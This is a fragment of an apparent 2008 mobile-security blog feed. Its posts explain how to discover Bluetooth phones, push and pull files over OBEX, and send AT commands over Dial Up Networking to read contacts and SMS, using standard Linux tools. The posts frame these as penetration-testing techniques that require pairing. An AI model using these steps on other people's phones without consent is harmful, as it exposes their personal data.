/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/7XWyJCNS2HU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/6611870108217556803/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=6611870108217556803" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/6611870108217556803?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/6611870108217556803?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/7XWyJCNS2HU/changing-htc-shift-integrated-bdaddr.html" title="Changing HTC Shift integrated BD_ADDR" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh6.ggpht.com/alberto.morenot/SPd9xH1OyXI/AAAAAAAAAHo/Nneh9nINZQE/s72-c/bdaddr-1.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2008/10/changing-htc-shift-integrated-bdaddr.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0cFRHY-eSp7ImA9WxRUEEQ.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-8218699872978121283</id><published>2008-10-06T20:35:00.008+02:00</published><updated>2008-11-19T11:36:55.851+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-11-19T11:36:55.851+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Mobile phone security" /><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security" /><title>Sending / Getting files from mobile phones</title><content type="html">The capability of sending files and even getting files is another important goal when it comes to attack mobile phones. Bluetooth supports file exchange through the &lt;a href="http://en.wikipedia.org/wiki/OBEX"&gt;OBEX&lt;/a&gt; protocol. Two profiles can be used for this, among all defined by the Bluetooth SIG:&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;Object Push Profile: requires Authorization.&lt;/li&gt;&lt;li&gt;File Transfer Profile: requires Authentication and Authorization.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Object Push Profile&lt;/span&gt;: allows you to send files.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SO5OynwlAFI/AAAAAAAAAGw/p5cNcH3cLoc/s800/obexpush-0.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;You can use &lt;span style="font-weight: bold;"&gt;ussp-push&lt;/span&gt; tool, available after installing &lt;span style="font-style: italic;"&gt;ussp-push&lt;/span&gt; package in Ubuntu.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/alberto.morenot/SO5Oy1OWxfI/AAAAAAAAAG4/wVV4E242x6o/s800/obexpush-1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/alberto.morenot/SO5Oy2Y5qGI/AAAAAAAAAHA/rQkOKLY3Ar4/s800/obexpush-2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Or either you can use &lt;a style="font-weight: bold;" href="http://openobex.triq.net/"&gt;Obexftp&lt;/a&gt;, available after installing &lt;span style="font-style: italic;"&gt;obexftp&lt;/span&gt; package in Ubuntu.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/alberto.morenot/SO5O8i9Tz8I/AAAAAAAAAHI/YW3wbLlWhKY/s800/obexpush-3.jpg" /&gt;&lt;br /&gt;It's important to force it to use the channel associated to the Object Push Profile.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;File Transfer Profile&lt;/span&gt;: allows you to send files, get files and list directories.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SO5Ojz94trI/AAAAAAAAAF4/IS9jYJpdhUg/s800/obexftp-0.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;You can use &lt;a style="font-weight: bold;" href="http://openobex.triq.net/"&gt;Obexftp&lt;/a&gt; to send files. If no channel is specified, it will use the one associated to the File Transfer Profile by default.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/alberto.morenot/SO5OkNUcmjI/AAAAAAAAAGI/pG0HRbXGTYk/s800/obexftp-2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;You can also list directories and browse through them.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/alberto.morenot/SO5OkICxPYI/AAAAAAAAAGQ/IRisk-YyjFU/s800/obexftp-3.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/alberto.morenot/SO5OkD-YI_I/AAAAAAAAAGY/DkNNBjhmoFw/s800/obexftp-4a.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SO5OyovhoDI/AAAAAAAAAGg/Lw_THR4ChLs/s800/obexftp-5.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Finally, you can get files from the phone to the PC.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SO5OyvrtwQI/AAAAAAAAAGo/4EyUIOGytIg/s800/obexftp-6.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;I remember the old &lt;span style="font-style: italic;"&gt;openobex-apps&lt;/span&gt; package for Fedora used to include the &lt;span style="font-weight: bold;"&gt;obex_push&lt;/span&gt; tool, but it's no longer needed since you can use &lt;span style="font-weight: bold;"&gt;Obexftp&lt;/span&gt; and force it to use the channel associated to Object Push Profile.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-8218699872978121283?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/cfkLF6r3Ap0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/8218699872978121283/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=8218699872978121283" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/8218699872978121283?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/8218699872978121283?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/cfkLF6r3Ap0/sending-getting-files-from-mobile.html" title="Sending / Getting files from mobile phones" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh6.ggpht.com/alberto.morenot/SO5OynwlAFI/AAAAAAAAAGw/p5cNcH3cLoc/s72-c/obexpush-0.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2008/10/sending-getting-files-from-mobile.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkACQ3g4eip7ImA9WxRUEEQ.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-7772506278146083548</id><published>2008-10-04T20:50:00.012+02:00</published><updated>2008-11-19T11:32:42.632+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-11-19T11:32:42.632+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Mobile phone security" /><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security" /><title>Sending AT commands to mobile phones</title><content type="html">The execution of AT commands is one of the main goals in hypothetical attacks to mobile phones. AT commands are a set of instructions that allow remote configuration and operation in a GSM device, such as mobile phones. Like a "remote shell". However, not all the AT commands are always implemented by manufacturers in their devices. I divide them in 3 groups:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Basic operations: voice and data calls, set call divert, manufacturer info, model info, IMEI, battery status, signal status.&lt;/li&gt;&lt;li&gt;Address book operations: read, add and delete contacts from the address book and also get the last dialed/missed/received calls list.&lt;/li&gt;&lt;li&gt;SMS operations: list, read, write, send and delete SMS messages.&lt;/li&gt;&lt;/ul&gt;Each of these groups may or may not be implemented by manufacturers. Usually, the basic operations group is.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://lh5.ggpht.com/alberto.morenot/SOvuBzTuzzI/AAAAAAAAAFw/g2WztpxjMf4/s800/esquema_comandos_AT.jpg" /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;AT commands can be sent to a mobile phone through the Dial Up Networking Bluetooth service. A link to that service &lt;span style="font-weight: bold;"&gt;requires authentication and authorization&lt;/span&gt;, so both devices must be paired up and the phone user must have accepted a connection attempt from the box.&lt;br /&gt;&lt;br /&gt;In order to pair Ubuntu with any other Bluetooth device, the /etc/bluetooth/hcid.conf file must be configured properly. The standard configuration in Ubuntu works fine:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;#&lt;br /&gt;# HCI daemon configuration file.&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;# HCId options&lt;br /&gt;options {&lt;br /&gt;# Automatically initialize new devices&lt;br /&gt;autoinit yes;&lt;br /&gt;&lt;br /&gt;# Security Manager mode&lt;br /&gt;#   none - Security manager disabled&lt;br /&gt;#   auto - Use local PIN for incoming connections&lt;br /&gt;#   user - Always ask user for a PIN&lt;br /&gt;#&lt;br /&gt;security user;&lt;br /&gt;&lt;br /&gt;# Pairing mode&lt;br /&gt;#   none  - Pairing disabled&lt;br /&gt;#   multi - Allow pairing with already paired devices&lt;br /&gt;#   once  - Pair once and deny successive attempts&lt;br /&gt;pairing multi;&lt;br /&gt;&lt;br /&gt;# Default PIN code for incoming connections&lt;br /&gt;passkey "1234";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# Default settings for HCI devices&lt;br /&gt;device {&lt;br /&gt;# Local device name&lt;br /&gt;#   %d - device id&lt;br /&gt;#   %h - host name&lt;br /&gt;name "%h-%d";&lt;br /&gt;&lt;br /&gt;# Local device class&lt;br /&gt;class 0x000100;&lt;br /&gt;&lt;br /&gt;# Default packet type&lt;br /&gt;#pkt_type DH1,DM1,HV1;&lt;br /&gt;&lt;br /&gt;# Inquiry and Page scan&lt;br /&gt;iscan enable; pscan enable;&lt;br /&gt;discovto 0;&lt;br /&gt;&lt;br /&gt;# Default link mode&lt;br /&gt;#   none   - no specific policy&lt;br /&gt;#   accept - always accept incoming connections&lt;br /&gt;#   master - become master on incoming connections,&lt;br /&gt;#            deny role switch on outgoing connections&lt;br /&gt;lm accept;&lt;br /&gt;&lt;br /&gt;# Default link policy&lt;br /&gt;#   none    - no specific policy&lt;br /&gt;#   rswitch - allow role switch&lt;br /&gt;#   hold    - allow hold mode&lt;br /&gt;#   sniff   - allow sniff mode&lt;br /&gt;#   park    - allow park mode&lt;br /&gt;lp rswitch,hold,sniff,park;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Using this configuration, the system will prompt an applet asking the user to confirm the PIN when the pairing process takes place.&lt;br /&gt;&lt;center&gt;&lt;img src="http://lh3.ggpht.com/alberto.morenot/SOuvxU4qXHI/AAAAAAAAAFI/gfRIyu6VRnk/s800/send-at-commands-4.jpg" /&gt;&lt;/center&gt;This is because the &lt;span style="font-style: italic;"&gt;security user;&lt;/span&gt; option tells Ubuntu to interact with the gnome desktop environment. If &lt;span style="font-style: italic;"&gt;security auto;&lt;/span&gt; option is set, then Ubuntu will execute the line &lt;span style="font-style: italic;"&gt;passkey "1234"&lt;/span&gt;;. This action can be changed by other PIN helpers like the old bluepin Python script, just by installing it and including its path &lt;span style="font-style: italic;"&gt;pin_helper /???/bluepin;&lt;/span&gt; instead.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;How to send AT commands to a mobile phone&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First, you need to discover the mobile phone and get the channel associated to the Dial Up Networking service.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/alberto.morenot/SOuvxAbVEcI/AAAAAAAAAEw/urQCRzH7bRo/s800/send-at-commands-1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;After, you can connect with &lt;span style="font-weight: bold;"&gt;rfcomm connect 0 BD_ADDR DUN_channel&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/alberto.morenot/SOuvxJ_P23I/AAAAAAAAAE4/HXdjYpOfRII/s800/send-at-commands-2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;The link to Dial Up Networking service will require authentication and authorization between the mobile phone and the box.&lt;br /&gt;&lt;br /&gt;If both devices haven't been paired up yet, the pairing process (authentication) will start. The phone will require the user to insert a PIN, that PIN must be confirmed in Ubuntu and the system will display that both devices are paired.&lt;br /&gt;&lt;center&gt;&lt;img src="http://lh4.ggpht.com/alberto.morenot/SOuvxbM7XNI/AAAAAAAAAFQ/OZI4TJEaLTw/s800/send-at-commands-5.jpg" /&gt;&lt;/center&gt;If the Ubuntu box is not included in the list of trusted-devices in the mobile phone (a previous connection is needed for that), it will require the user to accept the connection (authorization) to the Bluetooth service.&lt;br /&gt;&lt;br /&gt;Now the RFCOMM link has been successfully established, AT commands can be sent to the phone using the &lt;span style="font-weight: bold;"&gt;cu&lt;/span&gt; tool, included in the &lt;a href="http://www.airs.com/ian/uucp-doc/uucp.html"&gt;Taylor UUCP package&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SOuvxd2xSlI/AAAAAAAAAFA/wHt__FH4bKE/s800/send-at-commands-3.jpg" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-7772506278146083548?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/KWcYbwgcx24" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/7772506278146083548/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=7772506278146083548" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/7772506278146083548?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/7772506278146083548?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/KWcYbwgcx24/sending-at-commands-to-mobile-phones.html" title="Sending AT commands to mobile phones" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh5.ggpht.com/alberto.morenot/SOvuBzTuzzI/AAAAAAAAAFw/g2WztpxjMf4/s72-c/esquema_comandos_AT.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2008/10/sending-at-commands-to-mobile-phones.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcDSH0ycSp7ImA9WxRUEEQ.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-9160028707423126907</id><published>2008-10-03T17:24:00.007+02:00</published><updated>2008-11-19T11:21:19.399+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-11-19T11:21:19.399+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Mobile phone security" /><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security" /><title>Discovering Bluetooth devices and services</title><content type="html">Latest Linux distributions install by default the &lt;span style="font-weight: bold;"&gt;bluez-utils&lt;/span&gt; package. Among all the useful tools included within the package, you can find these two:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Hcitool&lt;/span&gt;: Remote Bluetooth devices discovery, name resolution, class identification.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;img src="http://lh4.ggpht.com/alberto.morenot/SOt_Bm2y2bI/AAAAAAAAAD4/aI971sbKdPQ/s800/hcitool-scan.jpg" /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Sdptool&lt;/span&gt;: Service Discovery Protocol management, Bluetooth services discovery.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SOt_B_IvLeI/AAAAAAAAAEA/Zkn_ox07lrY/s800/sdptool-browse-1.jpg" /&gt;&lt;br /&gt;Enumerating the services supported by certain remote device.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SOt_BzFDd1I/AAAAAAAAAEI/AZihquE5MNA/s800/sdptool-search-1.jpg" /&gt;&lt;br /&gt;Searching for remote devices that support Dial Up Networking Bluetooth service.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/alberto.morenot/SOt_B_6hCYI/AAAAAAAAAEQ/KfixtmHSEck/s800/sdptool-search-2.jpg" /&gt;&lt;br /&gt;Searching for remote devices that support OBEX FTP Bluetooth service.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-9160028707423126907?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/vxlWD4L7r6M" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/9160028707423126907/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=9160028707423126907" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/9160028707423126907?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/9160028707423126907?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/vxlWD4L7r6M/discovering-bluetooth-devices-and.html" title="Discovering Bluetooth devices and services" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh4.ggpht.com/alberto.morenot/SOt_Bm2y2bI/AAAAAAAAAD4/aI971sbKdPQ/s72-c/hcitool-scan.jpg" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2008/10/discovering-bluetooth-devices-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEYARHozeCp7ImA9WxRWEk4.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-2577782327390206559</id><published>2008-10-02T18:28:00.010+02:00</published><updated>2008-10-29T00:22:25.480+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-29T00:22:25.480+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="HTC Shift" /><title>I got the Shift</title><content type="html">I just got myself an &lt;a href="http://www.htc.com/shift"&gt;HTC Shift&lt;/a&gt; a month ago. I bought it during a trip to Taipei, around 250€ cheaper than in Spain. But there were 4 inconveniences:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Windows Vista Business in traditional Chinese language.&lt;/li&gt;&lt;li&gt;SnapVUE (limited Windows Mobile) in traditional Chinese language.&lt;/li&gt;&lt;li&gt;Regional warranty.&lt;/li&gt;&lt;li&gt;No 'ñ' character nor accent marks.&lt;/li&gt;&lt;/ul&gt;Nevertheless, i succeeded in changing the language in both OS as well as installing Ubuntu Linux, so now i have an UMPC with the following features:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Windows Vista Business in Spanish.&lt;/li&gt;&lt;li&gt;Ubuntu Linux 8.04 in Spanish.&lt;/li&gt;&lt;li&gt;Windows Mobile 6 custom ROM in English.&lt;/li&gt;&lt;/ul&gt;Not bad. Here is how i did it...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. Switching Windows Vista language&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Although i first thought it was impossible to install a language pack in Windows Vista Business Edition (only in Ultimate Edition) i followed &lt;a href="http://www.mydigitallife.info/2008/03/19/workaround-to-change-system-display-language-when-vista-mui-install-tool-fails/"&gt;this workaround&lt;/a&gt; and was able to install Windows Vista MUI Spanish language pack and switched from traditional Chinese language successfully.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SOom_lhpnoI/AAAAAAAAACU/FIvLDRu0UEQ/s800/IMG_4344.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/alberto.morenot/SOonHNzt3YI/AAAAAAAAACs/vSVtDF9_5po/s800/IMG_4348.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Once i could use Windows Vista properly (i'm not good at traditional Chinese) i created a partition for Ubuntu Linux with the Disk Management tool.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. Installing Ubuntu Linux&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It wasn't hard to install Ubuntu Linux 8.04 in the HTC Shift using a portable USB CD reader, although it could also have been done from an &lt;a href="http://pof.eslack.org/blog/2008/04/19/installing-ubuntu-without-cd-and-without-network/"&gt;image stored in an USB Pendrive&lt;/a&gt;. Most of the hardware worked out of the box:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Audio&lt;/li&gt;&lt;li&gt;Ethernet&lt;/li&gt;&lt;li&gt;Bluetooth&lt;br /&gt;&lt;/li&gt;&lt;li&gt;SD Card&lt;/li&gt;&lt;li&gt;Webcam&lt;/li&gt;&lt;/ul&gt;And thanks to &lt;span style="font-weight: bold;"&gt;pof&lt;/span&gt;, &lt;a href="http://pof.eslack.org/blog/2008/04/14/linux-on-htc-shift/"&gt;a simple script&lt;/a&gt; automatically configured the remaining stuff:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Touchscreen&lt;/li&gt;&lt;li&gt;WiFi&lt;/li&gt;&lt;li&gt;3G&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;&lt;/blockquote&gt;Easy as pie.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/alberto.morenot/SOom3TS7VDI/AAAAAAAAAB0/xRQOn0sbpF4/s800/img_5018.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. Switching Windows Mobile language&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;SnapVUE (limited Windows Mobile) also displayed traditional Chinese language, completely unintelligible (for me).&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/alberto.morenot/SOonAGLsINI/AAAAAAAAACk/Z4WV368S9qs/s800/IMG_4346.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Switching the language in Windows Mobile can't be done, unlike Windows Vista, so i was forced to install a new ROM. Unfortunately, HTC hasn't published the official SnapVUE ROM yet (though other HTC Phones official ROMs are available at HTC's website) so i had to:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://forum.xda-developers.com/showthread.php?t=377441"&gt;Unlock Windows Mobile File Explorer&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forum.xda-developers.com/showthread.php?t=406606"&gt;HardSPL the HTC Shift&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forum.xda-developers.com/showthread.php?t=420548"&gt;Install a custom ROM&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;Surprisingly, this ROM i installed activated GPS function in SnapVUE side too. From now on, i can install other custom ROMs that may activate SD card, phone, Bluetooth and WiFi on SnapVUE. That'd be great.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/alberto.morenot/SOom_uD2jmI/AAAAAAAAACM/9zMiEcFvagI/s800/img_5030.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Finally i got the perfect system for Mobile Security pentest, all in less than 1 Kg! Now let's see what it's capable of... :)&lt;span style="color: rgb(153, 153, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-2577782327390206559?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/Qa0LdNOVIrY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/2577782327390206559/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=2577782327390206559" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2577782327390206559?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2577782327390206559?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/Qa0LdNOVIrY/i-got-shift.html" title="I got the Shift" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh6.ggpht.com/alberto.morenot/SOom_lhpnoI/AAAAAAAAACU/FIvLDRu0UEQ/s72-c/IMG_4344.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2008/10/i-got-shift.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEcCQXkzcSp7ImA9WxRWEk4.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-7175264388981809452</id><published>2008-10-01T17:36:00.004+02:00</published><updated>2008-10-29T00:21:00.789+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-29T00:21:00.789+01:00</app:edited><title>Here i go</title><content type="html">I'm back in business, baby ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-7175264388981809452?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/rDV6i0yqZ0k" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/7175264388981809452/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=7175264388981809452" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/7175264388981809452?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/7175264388981809452?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/rDV6i0yqZ0k/here-i-go.html" title="Here i go" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2008/10/here-i-go.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUcBRHY-eip7ImA9WxVVGEw.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-7019595029124296205</id><published>2007-11-27T19:27:00.004+01:00</published><updated>2009-03-12T01:17:35.852+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-12T01:17:35.852+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Headsets hijacking" /><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security" /><title>Estado del arte de los Ataques a Manos Libres Auriculares</title><content type="html">El pasado Octubre, durante el evento &lt;a href="http://www.sans.org/ns2007/"&gt;SANS NS2007&lt;/a&gt; en Las Vegas, &lt;a href="http://www.willhackforsushi.com/"&gt;Joshua Wright&lt;/a&gt; realizó una presentación sobre Seguridad en Bluetooth dirigida fundamentalmente a mostrar el estado del arte de los ataques a Manos Libres, que parece ser la línea de investigación en la que se está centrando últimamente.&lt;br /&gt;&lt;br /&gt;En su &lt;a href="http://www.willhackforsushi.com/Home/Entries/2007/10/8_Headset_Attack_Demo_At_SANS_NS2007_Las_Vegas.html"&gt;entrada del blog sobre el evento&lt;/a&gt;, recoge algunas experiencias interesantes 